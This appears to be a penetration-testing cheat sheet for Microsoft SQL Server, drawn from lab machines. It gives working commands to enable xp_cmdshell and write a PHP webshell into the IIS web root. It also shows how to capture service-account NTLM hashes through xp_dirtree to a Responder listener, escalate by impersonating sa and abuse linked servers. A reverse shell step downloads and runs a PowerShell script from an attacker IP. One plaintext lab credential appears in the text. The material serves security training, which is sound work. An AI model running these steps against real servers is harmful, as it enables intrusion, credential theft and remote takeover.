Port 1433 - MSSQL

What are the default databases?

master: Keeps information for an instance of SQL server.

msdb: Used by SQL Server Agent.

model: Template used for other DBs.

resources: Read-only. Keeps system objects visible in every DBs on the server in sys schema.

tempdb: Keeps temporary objects for SQL queries.

Syntax

Show DBs:

1> SELECT name FROM master.dbo.sysdatabases
2> GO

Select DB:

1> USE users
2> GO

Show tables:

1> SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES
2> GO

Select all data from table users:

1> SELECT * FROM users
2> go

Enumeration

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

Bruteforce

Check whether creds found is valid on MSSQL:

“crackmapexec mssql manager.htb -u Desktop/user.txt -p Desktop/user.txt —no-brute —continue-on-success`

Interaction

Using impacket-mssqlclient, interact with the database:

mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth

Below are example interaction:

SELECT name FROM master.dbo.sysdatabases;
USE master;
select table_name from information_schema.tables;
SELECT COLUMN_NAME, DATA_TYPE, CHARACTER_MAXIMUM_LENGTH, NUMERIC_PRECISION, NUMERIC_SCALE from information_schema.columns where table_name = 'spt_fallback_db';

Command Execution

xp_cmdshell

xp_cmdshell is disabled by default.

For example:

1> xp_cmdshell 'whoami'
2> GO
 
output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)

Try xp_cmdshell and xp_dirtree:

xp_dirtree
xp_cmdshell
EXEC xp_cmdshell
EXEC xp_dirtree

If they are not enabled, try enabling them:

enable xp_cmdshell
 
EXEC sp_configure 'show advanced options', 1;
 
RECONFIGURE;
 
EXEC sp_configure 'xp_cmdshell', 1;
 
RECONFIGURE;

there are other methods to get CME such as extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.

Example CME

If there’s IIS running and xp_dirtree is enabled:

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

Write Local File

To write local file for CME, we need to have Ole Automation Procedures enabled (Needs Admin privilege).

How to enable:

1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

Now that Ole Automation Procedures is enabled, let’s create a file:

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read Local Files

by default, MSSQL allows file read on any file in the OS to which account has read access.

How to read local files in MSSQL:

1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
 
BulkColumn
 
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should
 
(1 rows affected)

Capture MSSQL Service Hash

We can steal MSSQL Service account hash using xp_subdirs or xp_dirtree.

Above two uses SMB protocol to retrieve a list of child directories.

To make this happen, we first need Responder or impacket-smbserver set up and execute following SQL queries.

Using xp_dirtree:

1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO
 
subdirectory    depth
--------------- -----------

Using xp_subdirs:

1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO
 
HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'

If the service account has access to the server, attacker will obtain its hash.

We can set up listening server as the following.

Set up responder:

sudo responder -I tun0

Set up impacket:

sudo impacket-smbserver share ./ -smb2support

User Impersonation

IMPERSONATE allows attacker to execute commands with another user permission.

Let’s first identify users we can impersonate:

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
 
name
-----------------------------------------------
sa
ben
valentin
 
(3 rows affected)

One liner:

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

To make sure, let’s verify if the current user got the sysadmin role. Since the output is 0, we don’t have the role:

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
 
-----------
julio                                                                                                                    
 
(1 rows affected)
 
-----------
          0
 
(1 rows affected)

Let’s use EXECUTE AS LOGIN to impersonate sa:

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
 
-----------
sa
 
(1 rows affected)
 
-----------
          1
 
(1 rows affected)

We have successfully impersonated the sa user. Also make sure we impersonate user in the master DB since all users by default have the access to that DB.

To revert the operation and to return to the previous user, we use REVERT.

Even if the impersonated user is not sysadmin, still check for other DBs that user has.

Linked Server Interaction

MSSQL has a configuration option called linked servers.

Allows DB engine to communicate with other SQL server, or another DB product such as Oracle.

Administrators can configure linked server using credentials from the remote server. If the credentials have sysadmin privilege, we can execute commands in the remote SQL instance.

Let’s see if there’s linked servers. There is one remote server:

1> SELECT srvname, isremote FROM sysservers
2> GO
 
srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0
 
(2 rows affected)

Now let’s identify the user used for the connection and its privilege. We can see that the user sa_remote is being used for connection and it is the sysadmin:

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
 
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1
 
(1 rows affected)

We can now execute commands as the sysadmin privilege on remote server.

EXECUTE('SELECT * FROM OPENROWSET(BULK N''C:/Users/Administrator/Desktop/flag.txt'', SINGLE_CLOB) As Contents') AT [LOCAL.TEST.LINKED.SRV]

Reverse Shell

First check the privilege by typing in help:

Enable xp_cmdshell:

enable_xp_cmdshell & RECONFIGURE

To spawn reverse shell, prepare nishang’s Invoke-PowerShellTcp.ps1 on your attacking directory and start python HTTP server.

Using the command below, download and execute reverse shell script toward your Kali listener:

EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.17:8000/ps-rev.ps1") | powershell -noprofile'

Now on your local netcat listener, you have a shell:

Relay Attack

Follow this guide on Hacktricks.

First start Responder:

sudo responder -I tun0

Now on MSSQL connection, make a request to Kali’s responder:

xp_dirtree '\\10.10.14.17\home\yoon

Instantly, reponsder captures NTLM hash:

On Hacktricks, there’s more detailed guide on pentesting MSSQL.